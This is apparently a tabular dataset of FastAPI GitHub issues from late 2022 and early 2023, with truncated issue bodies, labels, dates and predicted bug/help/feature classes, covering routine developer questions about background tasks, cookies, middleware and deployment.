signature_base64_crm = data['CR... [TRUNCATED]","question,question-migrate",2023-01-06 12:41:21+00:00,2023-02-24 16:29:47+00:00,11,"question,question-migrate",49.1586,problem with concurrency request high response time first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code main py python import os import sys import json import time from lib userid import userid from model modelusertoken import modelusertoken from fastapi import fastapi depends body request from fastapi middleware cors import corsmiddleware from fastapi concurrency import run in threadpool from pydantic import basemodel from prometheus fastapi instrumentator import instrumentator import resource import uuid import loguru load the key of the tenant with open os path join sys path app data key json r as f data json load f kid crm data crm credentialid signature base crm data cr truncated,bug,0.928
tiangolo/fastapi,1520678191,Only one of multiple Background Tasks is ever being run per request,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import APIRouter, BackgroundTasks

router = APIRouter()

def test_func(s: str) -> bool:
    print(f""~~~ test_func: {s}"")
    return True


@router.get(
    ""/test"",
)
def get_test(background_tasks: BackgroundTasks) -> dict:
    background_tasks.add_task(test_func, ""one"") # Only this task's output will be logged
    background_tasks.add_task(test_func, ""two"")
    background_tasks.add_task(test_func, ""three"")
    return {""message"": ""test""}
```


### Description

- I add multiple background tasks when calling my API endpoint
- I expect each added task to be performed
- Instead, only the first task a... [TRUNCATED]","question,question-migrate",2023-01-05 12:35:39+00:00,2023-02-27 19:07:13+00:00,5,"question,question-migrate",53.2719,only one of multiple background tasks is ever being run per request first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i add multiple background tasks when calling my api endpoint i expect each added task to be performed instead only the first task a truncated,feature,0.9136
tiangolo/fastapi,1520374322,Required Body argument with None is not supported,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [x] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Body
from typing import Optional

app = FastAPI()

@app.post(""/"")
def post_data(data: Union[str, None] = Body(...)):
      pass
```


### Description

According to the [documentation](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/?h=required+none#required-with-none), it is possible to handle a `None` value for **required** argument provided by the user. First of all, the example in the documentation doesn't really make sense, since a Python `None` (i.e. a JSON `null`) can not be provided in the query a GET request, but has to be sent through the body of a POST/PUT request.
Nevertheless, this i... [TRUNCATED]","question,question-migrate",2023-01-05 09:11:02+00:00,2023-02-24 16:29:44+00:00,2,"question,question-migrate",50.3047,required body argument with none is not supported first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description according to the documentation it is possible to handle a value for required argument provided by the user first of all the example in the documentation doesn t really make sense since a python i e a json can not be provided in the query a get request but has to be sent through the body of a post put request nevertheless this i truncated,help,0.9033
tiangolo/fastapi,1519673112,Setting favicon in FastAPI over https,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import APIRouter
from fastapi.responses import FileResponse


router = APIRouter(prefix=""/favicon.ico"")

favicon_path = ""./static/images/favicon/ball.ico""


@router.get(""/"", include_in_schema=False)
def favicon():
    return FileResponse(favicon_path)
```


### Description

I have deployed an API on a Ubuntu server and set-up Nginx and SSL so that all requests are made through https.

In FastAPI, I have set a favicon route to set the favicon for the site and this works during development, however in production I get the following error message in the browser console:

`Mixed Content: The page at 'https://thefootballdata.co... [TRUNCATED]","question,question-migrate",2023-01-04 22:35:08+00:00,2023-02-27 19:07:11+00:00,1,"question,question-migrate",53.8556,setting favicon in fastapi over https first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i have deployed an api on a ubuntu server and set up nginx and ssl so that all requests are made through https in fastapi i have set a favicon route to set the favicon for the site and this works during development however in production i get the following error message in the browser console mixed content the page at truncated,help,0.8271
tiangolo/fastapi,1519562282,Armenian translations,"## Armenian translations

This is the issue to track translations of the docs to Armenian. 🚀

### Description

Hi -  Ողջույն `HY`
Welcome to the issue that coordinates the Armenian translation effort.

Purpose
Avoiding several people working on the same document at the same time.
The first person who declares that he/she is working on a translation gets the responsibility to carry it out. If a PR seems to be stalled, we can discuss a transfer of responsibility here.

Enforcing best practices
Best practices are listed later in this description. You can propose your practice at any time, ideally with a supporting source and an example.

Defining and sharing best practices will help to avoid common mistakes and will allow faster and easier reviews.

Help and build the community
Do not hesitate to ask any questions regarding the Armenian translation effort here. The stronger the community, the more effective we will be and the more we will enjoy.

Provide an Armenian translation for this awesome library (last but not least)
If you are here, you probably like FastAPI, and maybe you even speak Armenian. Giving more people the opportunity to get started using the documentation in its native language will encourage adoption. In that spirit, let's contribute to the magic of open source in this way.

How to contribute
Review
Keep in mind that the easiest way to participate is to review the PRs. We need to avoid accumulating PRs waiting for review.

Translate... [TRUNCATED]","feature,lang-all,lang-hy",2023-01-04 20:57:58+00:00,2023-03-04 10:23:43+00:00,2,"feature,lang-all,lang-hy",58.5595,armenian translations armenian translations this is the issue to track translations of the docs to armenian description hi welcome to the issue that coordinates the armenian translation effort purpose avoiding several people working on the same document at the same time the first person who declares that he she is working on a translation gets the responsibility to carry it out if a pr seems to be stalled we can discuss a transfer of responsibility here enforcing best practices best practices are listed later in this description you can propose your practice at any time ideally with a supporting source and an example defining and sharing best practices will help to avoid common mistakes and will allow faster and easier reviews help and build the community do not hesitate to ask any questions regarding the armenian translation effort here the stronger the community the more effective we will be and the more we will enjoy provide an armenian translation for this awesome library last but not least if you are here you probably like fastapi and maybe you even speak armenian giving more people the opportunity to get started using the documentation in its native language will encourage adoption in that spirit let s contribute to the magic of open source in this way how to contribute review keep in mind that the easiest way to participate is to review the prs we need to avoid accumulating prs waiting for review translate truncated,feature,0.9903
tiangolo/fastapi,1519550270,Try it out button not working using root_path with ApiGateway,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#main.py

from fastapi import FastAPI
from fastapi.openapi.utils import get_openapi

from test_api.router import *

logger = logging.getLogger(__name__)

app = FastAPI(
    title=""test_API"",
    root_path=""/test"",
)

app.include_router(router)

description = """"""
Test API overview
""""""

def custom_openapi():
    if app.openapi_schema:
        return app.openapi_schema
    openapi_schema = get_openapi(
        title=""Test API"",
        version=""0.0.1"",
        description=description,
        routes=app.routes,
    )
    openapi_schema[""info""][""x-logo""] = {
        ""url"": ""https://fastapi.tiangolo.com/img/logo-margin/logo-t... [TRUNCATED]","question,question-migrate",2023-01-04 20:45:46+00:00,2023-02-27 19:07:08+00:00,1,"question,question-migrate",53.9315,try it out button not working using root path with apigateway first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python main py from fastapi import fastapi from fastapi openapi utils import get openapi from test api router import logger logging getlogger name app fastapi title test api root path test app include router router description test api overview def custom openapi if app openapi schema return app openapi schema openapi schema get openapi title test api version description description routes app routes openapi schema info x logo url truncated,help,0.9136
tiangolo/fastapi,1519108307,The browser cannot receive cookies from FastAPI set_cookie methods,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.post('/login', summary='Create access and refresh tokens for user', response_model=TokenSchema)
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    ...

    response = JSONResponse({'access_token': create_access_token(user['id'])})
    response.set_cookie(key='refresh_token_test', value=create_refresh_token(user['id']),
                        max_age=REFRESH_TOKEN_EXPIRE_MINUTES, httponly=False, samesite='none', domain='http://localhost:3000')

    return response
```


### Description

Currently, I am using a backend with FastAPI (port 8000) and a frontend with Solid-JS (port 3000).

I want to send a refresh token ... [TRUNCATED]","question,question-migrate",2023-01-04 14:49:30+00:00,2023-02-24 16:29:41+00:00,2,"question,question-migrate",51.0696,the browser cannot receive cookies from fastapi set cookie methods first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description currently i am using a backend with fastapi port and a frontend with solid js port i want to send a refresh token truncated,help,0.9331
tiangolo/fastapi,1518886246,Not able to send a post request using a Python Script,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import requests
import json

login_url = ""https://thefootballdata.com/api/login""
post_url = ""https://thefootballdata.com/api/teams""

login_response = requests.post(login_url, data=login_payload)
access_token = login_response.json()[""access_token""]

payload = json.dumps({
  ""full_name"": ""Andreas Calleja"",
  ""name"": ""Andreas""
})

headers = {
  'Authorization': f""Bearer {access_token}"",
  'Content-Type': 'application/json'
}

response = requests.request(""POST"", upost_urlrl, headers=headers, data=payload)

print(response.text)
```


### Description

I built my first API using FastAPI and after completing development and deployed my a... [TRUNCATED]","question,question-migrate",2023-01-04 12:23:41+00:00,2023-02-27 19:07:06+00:00,1,"question,question-migrate",54.2802,not able to send a post request using a python script first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i built my first api using fastapi and after completing development and deployed my a truncated,feature,0.9136
tiangolo/fastapi,1517505859,Is there support for compression of jsonified pydantic objects sent in responses?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
n/a
```


### Description

I have an application where I return large json documents. I would like to compress them. Does FastAPI currently do this for me, and if not, is there a way I can enable compression? My understanding is that if I have full control of the http response I can do this by compressing myself and specifying certain headers (https://developer.mozilla.org/en-US/docs/Web/HTTP/Compression) but I am wondering if there's a way for me to avoid that and be able to keep using FastAPI's nice system of being able to return a pydantic object and have it be automatically serialized?

Thanks!

### Operating System

macOS

### Operating System... [TRUNCATED]","question,question-migrate",2023-01-03 14:57:27+00:00,2023-02-27 19:07:04+00:00,2,"question,question-migrate",55.1733,is there support for compression of jsonified pydantic objects sent in responses first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i have an application where i return large json documents i would like to compress them does fastapi currently do this for me and if not is there a way i can enable compression my understanding is that if i have full control of the http response i can do this by compressing myself and specifying certain headers but i am wondering if there s a way for me to avoid that and be able to keep using fastapi s nice system of being able to return a pydantic object and have it be automatically serialized thanks macos truncated,help,0.9756
tiangolo/fastapi,1517214702,"How to implement Multi tenancy in FastAPI, SQLAlchemy and Postgresql?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from sqlalchemy import Boolean, Column, ForeignKey, Integer, String


class Tenant(Base):
    __tablename__ = ""tenants""

    id = Column(""id"", Integer, primary_key=True, nullable=False)
    name = Column(""name"", String(256), nullable=False, index=True, unique=True)
    schema = Column(""schema"", String(256), nullable=False, unique=True)
    host = Column(""host"", String(256), nullable=False, unique=True)
    

    __table_args__ = ({""schema"": ""shared""},)
```


### Description

Found an [Article](https://mergeboard.com/blog/6-multitenancy-fastapi-sqlalchemy-postgresql/) but unable to understand how to implement dynamic schema generation when... [TRUNCATED]","question,question-migrate",2023-01-03 10:44:31+00:00,2023-02-24 16:29:38+00:00,4,"question,question-migrate",52.2397,how to implement multi tenancy in fastapi sqlalchemy and postgresql first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description found an article but unable to understand how to implement dynamic schema generation when truncated,help,0.9442
tiangolo/fastapi,1517047507,Fastapi ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
import gradio as gr

CUSTOM_PATH = ""/gradio""

app = FastAPI()

@app.get(""/"")
def read_main():
    return {""message"": ""This is your main app""}

io = gr.Interface(lambda x: ""Hello, "" + x + ""!"", ""textbox"", ""textbox"")
gradio_app = gr.routes.App.create_app(io)

app.mount(CUSTOM_PATH, gradio_app)
```


### Description

I want to restrict /gradio that only login user can access this 
Can I use some condition like user login and subscribed or not 

### Operating System

Windows

### Operating System Details

_No response_

### FastAPI Version

Latest install with pip

### Python Version

3.9

### Additional Context
... [TRUNCATED]","question,question-migrate",2023-01-03 08:01:49+00:00,2023-02-27 19:07:00+00:00,3,"question,question-migrate",55.4619,fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i want to restrict gradio that only login user can access this can i use some condition like user login and subscribed or not windows details no response fastapi version latest install with pip python version truncated,help,0.9364
tiangolo/fastapi,1516592269,field required (type=value_error.missing),"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from fastapi import FastAPI
from pydantic import BaseModel, EmailStr

class rdUserBase(BaseModel):
    username: str
    email: EmailStr
    full_name: str = None

class rdUserIn(rdUserBase):
    password: str

class rdUserOut(rdUserBase):
    pass

class rdUserInDB(rdUserBase):
    hased_password: str

def rdFake_password_hasher(raw_password: str):
    return ""supersecret"" + raw_password

def rdFake_save_user(user_in: rdUserIn):
    hashed_password = rdFake_password_hasher(user_in.password)
    user_in_db = rdUserInDB(**user_in.dict(), hashed_password=hashed_password)
    print(""User Saved! ..not really"")
    ... [TRUNCATED]","question,answered,reviewed,question-migrate",2023-01-02 17:25:51+00:00,2023-02-27 19:06:58+00:00,1,"question,answered,reviewed,question-migrate",56.0702,field required type value error missing first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import uvicorn from fastapi import fastapi from pydantic import basemodel emailstr class rduserbase basemodel username str email emailstr full name str none class rduserin rduserbase password str class rduserout rduserbase pass class rduserindb rduserbase hased password str def rdfake password hasher raw password str return supersecret raw password def rdfake save user user in rduserin hashed password rdfake password hasher user in password user in db rduserindb user in dict hashed password hashed password print user saved not really truncated,bug,0.9628
tiangolo/fastapi,1514436169,Starting fastapi with on_event() from user-supplied CLI arguments,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()
    
@app.get(""/item"")
def do_get_item(p3):
    return get_item()

@app.on_event(""startup"")
def app_startup(p1, p2):
    do_startup_stuff(p1, p2)

@app.on_event(""shutdown"")
def app_shutdown(p4):
    do_shutdown_stuff(p4)

def main(args):
    p1 = args[0]
    p2 = args[1]

    uvicorn.run(app)

if __name__ == ""__main__"":
    main(sys.argv)


Command Line 
> python myapp.py --p1 avatar2 --p2 watery
```


### Description

This question is (sort-of) related to https://github.com/tiangolo/fastapi/issues/4706#issue-1174678154.

I want to startup fastapi with user-supplied command line argum... [TRUNCATED]","question,question-migrate",2022-12-30 10:54:31+00:00,2023-02-24 16:29:36+00:00,1,"question,question-migrate",56.2327,starting fastapi with on event from user supplied cli arguments first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description this question is sort of related to i want to startup fastapi with user supplied command line argum truncated,help,0.9062
tiangolo/fastapi,1513861070,ClientDisconnected immediately after adding background task in which I access the request body as a stream,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import aioredis
from fastapi import FastAPI, HTTPException, Request, status, BackgroundTasks
from fastapi.exceptions import HTTPException
from pydantic import BaseModel, Field
from streaming_form_data import StreamingFormDataParser
from streaming_form_data.targets import FileTarget, ValueTarget
from streaming_form_data.validators import MaxSizeValidator
from uuid import UUID, uuid4
import os


MAX_FILE_SIZE = 1024 * 1024 * 1024 * 4  # = 4GB
MAX_REQUEST_BODY_SIZE = MAX_FILE_SIZE + 1024

app = FastAPI()
redis = aioredis.from_url(""redis://localhost:6379"", decode_responses=True)


class UploadResult(BaseModel):
    file_size: int
    ... [TRUNCATED]","question,question-migrate",2022-12-29 16:00:28+00:00,2023-02-24 16:29:33+00:00,2,"question,question-migrate",57.0202,clientdisconnected immediately after adding background task in which i access the request body as a stream first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import aioredis from fastapi import fastapi httpexception request status backgroundtasks from fastapi exceptions import httpexception from pydantic import basemodel field from streaming form data import streamingformdataparser from streaming form data targets import filetarget valuetarget from streaming form data validators import maxsizevalidator from uuid import uuid uuid import os max file size gb max request body size max file size app fastapi redis aioredis from url redis localhost decode responses true class uploadresult basemodel file size int truncated,feature,0.9468
tiangolo/fastapi,1512386762,Random behaviour of `Depends` functionality. ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
'''Main Websocket Route'''

@app.websocket(""/{obj_id}"")
async def websocket_endpoint(websocket: WebSocket, obj_id: str, active_clients = Depends(get_active_clients)):
    await websocket.accept()
    try:
        await ws_manager.connect(websocket, obj_id, active_clients)
    except WebSocketDisconnect:
        await websocket.close() 

'''Connection Manager'''
class ConnectionManager:
 
    async def connect(self, websocket: WebSocket, obj_id: str, active_connections):
        client = ServerPoint(obj_id, websocket)
        try:        
            active_connections[cp_id] = client
            await client.start()

        except... [TRUNCATED]","question,question-migrate",2022-12-28 04:27:26+00:00,2023-02-24 16:29:31+00:00,2,"question,question-migrate",58.5014,random behaviour of functionality first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python main websocket route app websocket obj id async def websocket endpoint websocket websocket obj id str active clients depends get active clients await websocket accept try await ws manager connect websocket obj id active clients except websocketdisconnect await websocket close connection manager class connectionmanager async def connect self websocket websocket obj id str active connections client serverpoint obj id websocket try active connections cp id client await client start except truncated,help,0.9893
tiangolo/fastapi,1512332385,TrustedHostMiddleware ignores port in Host header,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()
app.add_middleware(
    TrustedHostMiddleware,
    allowed_hosts=[""localhost:8000""]
)
```


### Description

Using the provided example code and making a request from localhost:8000 I get an ""Invalid host header"" response, even though looking at dev tools in chrome the header is `Host: localhost:8000`

If I change to `allowed_hosts=[""localhost""]` it works fine.

I understand it's a trusted host, and not a trusted port, but seems strange to me that it says invalid host header even though thats exactly what the browser is sending in the host header.

Not sure if this is intended behaviour or not.

###... [TRUNCATED]","question,question-migrate",2022-12-28 02:25:44+00:00,2023-02-27 19:06:55+00:00,7,"question,question-migrate",61.6953,trustedhostmiddleware ignores port in host header first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description using the provided example code and making a request from localhost i get an invalid host header response even though looking at dev tools in chrome the header is if i change to it works fine i understand it s a trusted host and not a trusted port but seems strange to me that it says invalid host header even though thats exactly what the browser is sending in the host header not sure if this is intended behaviour or not truncated,help,0.9584
tiangolo/fastapi,1508981326,Uploading a PSV (Pipe separated Values) file and using pandas to read the first 1000 rows without writing to disk,"### First Check

- [X] I added a very descriptive title to this issue.
